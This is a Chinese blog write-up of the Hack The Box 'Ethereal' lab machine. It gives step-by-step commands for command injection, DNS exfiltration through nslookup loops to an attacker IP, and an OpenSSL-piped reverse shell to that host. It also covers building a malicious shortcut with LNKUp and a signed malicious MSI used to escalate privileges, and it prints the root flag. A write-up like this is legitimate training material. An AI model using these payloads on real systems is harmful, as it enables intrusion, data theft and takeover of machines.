美文网首页
Hack The Box Ethereal WriteUp

Hack The Box Ethereal WriteUp

作者: 小猪配不齐 | 来源:发表于2019-02-20 22:43 被阅读0次

    首先这题真的很难,要有充分的思想准备和无数次的模拟环境搭建
    1.利用匿名账户Anonymous登录,可以发现FDISK.zip压缩文件,下载前将传输模式切换到binary,否者经常因为网络因素导致下载失败

    Ftp服务器
    2.解压FDISK.zip,可以拿到一个镜像文件。利用file命令识别后,发现这是一个FAT格式的磁盘。利用mount -t vfat /root/FDISK /mnt/htbdisk挂载磁盘,从中取出pbox.dat和pbox.exe两个文件。安装好xp虚拟机并双击运行pbox.exe发现这是一个16位应用程序,并不能直接运行。 pbox.exe
    3.16位程序模拟器很好找,DosBox是目前最有名的一款,很多当年的街机游戏都可以运行,像是波斯王子、坦克大战啊,这些我都还没通关...进入pbox首先还是挂载mount c c:\pbox,将此c:\pbox文件夹挂载为pbox的c盘,这样就可以在pbox中看到pbox.exe。但是直接运行还是会报错如下: pbox运行报错
    4.这可能是版本兼容的问题,好在kali环境下也能安装DosBox(apt-get install dosbox),但因为Dos保护模式的原因,可能会报一个类似< no DPMI - Get csdpmi*b.zip > 的错误。解决方式可以参考:https://www.linuxtopia.org/online_books/linux_tool_guides/the_sed_faq/sedfaq5_004.html 解决问题的核心关键就是下载CWSDPMI.EXE然后扔到pbox.exe目录下,就可以正常运行pbox.exe了。 pbox正常运行
    5.输入的密码是password,进去之后是一个数据库,点击相应的表项就能看到相关内容,从中可以导出一堆的用户名密码,其中有效的组合是:
    user: alan
    password: !C414m17y57r1k3s4g41n! pbox数据库
    6.获取的用户名密码可以用于登录8080端口,这是一个Test Connection页面,根据Ping Address提示,不难想到这是一个命令注入漏洞。 8080端口登录
    7.需要解决的问题是如何查看回显,在linux环境中常用的是ping -p 外带,但是windows的ping命令并没有-p选项,因此唯一能用的是nslookup命令,结合tokens参数筛选需要的命令结果,同时需要利用cmd脚本的for循环来反馈结果,例如我需要看netstat -ano结果的第二行,即所有ip和端口结果,在web中输入的命令为:
    127.0.0.1 | for /f "tokens=2" %I in ('netstat -ano') do nslookup %I 10.10.8.8
    有关for /f的脚本循环体介绍可以看https://www.youtube.com/watch?v=jMS6LkMdAHI
    需要注意的是tokens参数能够级联,比如我想看结果的1至6行,只需要添加tokens=1,2,3,4,5,6和相应占位符%a.%b.%c.%d.%e.%f即可如:
    127.0.0.1 | for /f "tokens=1,2,3,4,5,6" %a in ('type c:\xxxxx.txt') do nslookup %a.%b.%c.%d.%e.%f 10.10.8.8
    在web端执行命令注入后,启动tcpdump或者wireshark都是可以的,过滤dns即可看到命令回显:(下图运行的是tasklist,因为nslookup在失败时会执行2次查询,所以结果会有重复) wireshark抓包结果
    8.枚举防火墙规则,netsh advfirewall firewall show rule name=all是查看windows防火墙规则的命令,但在该RCE环境中无法正常执行,因此需要找到一处可写路径,将结果转储成文件,再用type方法将内容取回。通常c:\users\public目录是权限最低的路径,但是直接写入是失败的,尝试利用icacls命令对目录权限进行枚举,最终发现当前用户alan可以写入C:\users\public\desktop\shortcuts\,最终读取防火墙配置:仅允许TCP 73和136端口通信。
    枚举权限:
    127.0.0.1 & for /f "tokens=1,2,3," %a in ('icacls c:\users\public\Desktop*. /findsid alan /t /c /l') do nslookup %a.%b.%c 10.10.8.8

    9.继续搜索系统中的蛛丝马迹,利用dir检索C盘,最后在C:\Program Files (x86)目录下发现安装有Openssl-v1.1.0版本,我们将利用它实现shell。
    能显示较完整dir结果的命令:
    127.0.0.1 & for /f "tokens=1,2,3," %a in ('dir /B "C:\users\public\Desktop\Shortcuts"') do nslookup %a.%b.%c 10.10.8.8

    10.openssl的CS工作模式对于我来说并不熟悉,因此首先在本地构建模拟环境,官网https://www.openssl.org可以查阅命令参数,和下载源码,但没有安装包。各版本的安装包可以通过http://slproweb.com/products/Win32OpenSSL.html下载。安装过程就是一路next不再赘述。

    openssl for windows
    11.在kali端首先搭建openssl server你需要一个私钥和一本证书,因此运行命令:
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    随后有一些证书信息需要填写,随意就行,格式对就没问题,例如电子邮件,国家简写
    对命令参数有疑问的可以参考IBM文档:
    https://www.ibm.com/support/knowledgecenter/en/SSWHYP_4.0.0/com.ibm.apimgmt.cmc.doc/task_apionprem_gernerate_self_signed_openSSL.html 生成证书
    12.利用openssl的s_client连接服务器,在模拟环境中测试发现,openssl的工作有些像没有-e选项的nc,你输入什么,对方就显示什么,并不能执行命令。由此可以想到利用管道符重定向输入和输出,也就是将一个openssl的连接通过管道符“|”重定向给cmd.exe,再用一个管道符“|”将运行结果重定向给openssl的另一个连接。简而言之就是:
    openssl s_client 1 ---->input | cmd.exe | openssl s_client 2 ---->output
    这也是为什么防火墙规则要放行两个端口的原因。
    转化为web端的RCE命令即:
    10.10.8.8 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:136(RCE命令)
    注意在实际攻击目标时,我们要同时开两个终端,一个openssl server 73和另一个openssl server 136,服务端监听命令:
    openssl s_server -quiet -key key.pem -cert cert.pem -port 73
    openssl s_server -quiet -key key.pem -cert cert.pem -port 136
    我在73端口的终端里输入命令并回车,然后在web端提交上述RCE命令将输入压入管道,在136端口的终端里查看结果 获取shell
    13.在获取一个低权限的shell以后,我们能在c:\users\alan\Desktop路径下拿到下一步的线索。他告诉我们,在Public Desktop路径中存在一个VS的快捷方式,让我们利用它。 线索文件
    14.LNKUp是利用windows快捷方式执行命令的恶意快捷方式生成器。项目地址:https://github.com/Plazmaz/LNKUp
    命令格式:
    python generate.py --host localhost --type ntlm --output out.lnk --execute
    "C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:73|cmd.exe|C:\Progra~2\OpenSSLv1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:136"
    生成后的恶意快捷方式如下,你可以看到需要执行的命令在快捷方式目标栏处。 恶意快捷方式
    15.上传恶意快捷方式,并覆盖c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk。需要注意直接上传.lnk文件可能失败,可以重命名为.txt后缀上传。上传过程同样利用管道,但必须先断开原始连接。
    kali 运行:openssl s_server -quiet -key key.pem -cert cert.pem -port 73 < 恶意.txt
    web运行:10.10.8.8|C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:73 > c:\users\public\desktop\shortcuts\out.txt(注意上传成功后改回后缀)
    重新建立shell连接
    shell运行:del "c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk" & copy "c:\users\public\desktop\shortcuts\out.lnk" "c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk" LNKUp
    16.很快能够获得一个新的shell,在这个shell中,不需要依赖web,可以直接在73输入,在136中查看结果,操作顺畅不少,在jorge用户桌面拿下user.txt user.txt
    17.继续搜索可以发现,D盘存在两个可疑文件夹,一个是Certs,里面保存有证书文件,另一个是DEV文件夹,里面保存了另一条线索文件。这条线索很好理解,只要生成一个恶意msi安装包放到这个路径下,Rupal用户就会来点,结合证书文件,这很可能是要生成一个签名后的msi 线索文件2
    18.直接type证书文件会得到乱码,无法拷贝。目前我们也没有下载渠道,因此想到利用openssl的base64编码功能,将内容打印出来,命令如下:
    C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -in MyCA.cer
    C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -in MyCA.pvk
    将base64编码后的文本拷贝到kali,并利用base64 -d解码还原。 获取证书
    19.生成msi,我们利用EMCO MSI Package Builder的图形化界面来操作。先新建工程,然后点击Custom Actions,在右侧Pre & Post Actions中右键新建动作,填写关键参数后就可以Create MSI Package了。(密码留空) 恶意msi生成
    20.利用下载的证书对msi进行签名。这需要用到 .NET Framework 4 和winsdk,它们可以在以下地址下载:
    .NET Framework 4 :https://www.microsoft.com/en-us/download/details.aspx?id=17851
    winsdk:https://www.microsoft.com/en-us/download/confirmation.aspx?id=8279
    安装好后,就可以开始签名了,命令依次如下:
    makecert -n "CN=Ethereal" -pe -cy end -ic C:\MyCA.cer -iv C:\MyCA.pvk -sky signature -sv C:\hack.pvk C:\hack.cer
    pvk2pfx -pvk C:\hack.pvk -spc C:\hack.cer -pfx C:\hack.pfx
    signtool sign /f C:\hack.pfx C:\shell.msi
    如果签名成功,可以看到如下提示:
    签名成功
    21.将签名后的msi上传至d:\dev\msis\shell.msi,然后退出73和136的两个openssl连接,重新监听它们,大约1分钟的时间,rupal用户的shell就会上线,可以在他的Desktop路径下读取root.txt 1cb6f1fc220e3f2fcc0e3cd8e2d9906f
    22.若一次部署msi没有成功,需要尝试第二次,必须重新生成一个msi并签名上传,因为安装过了的msi在系统中已经注册,不会再运行一次了,你可以从控制面板的添加删除程序中看到它们,但现在在这个环境里我们没有办法卸载之前安装的msi。 添加删除程序

    相关文章

      网友评论

          本文标题:Hack The Box Ethereal WriteUp

          本文链接:https://www.haomeiwen.com/subject/roncyqtx.html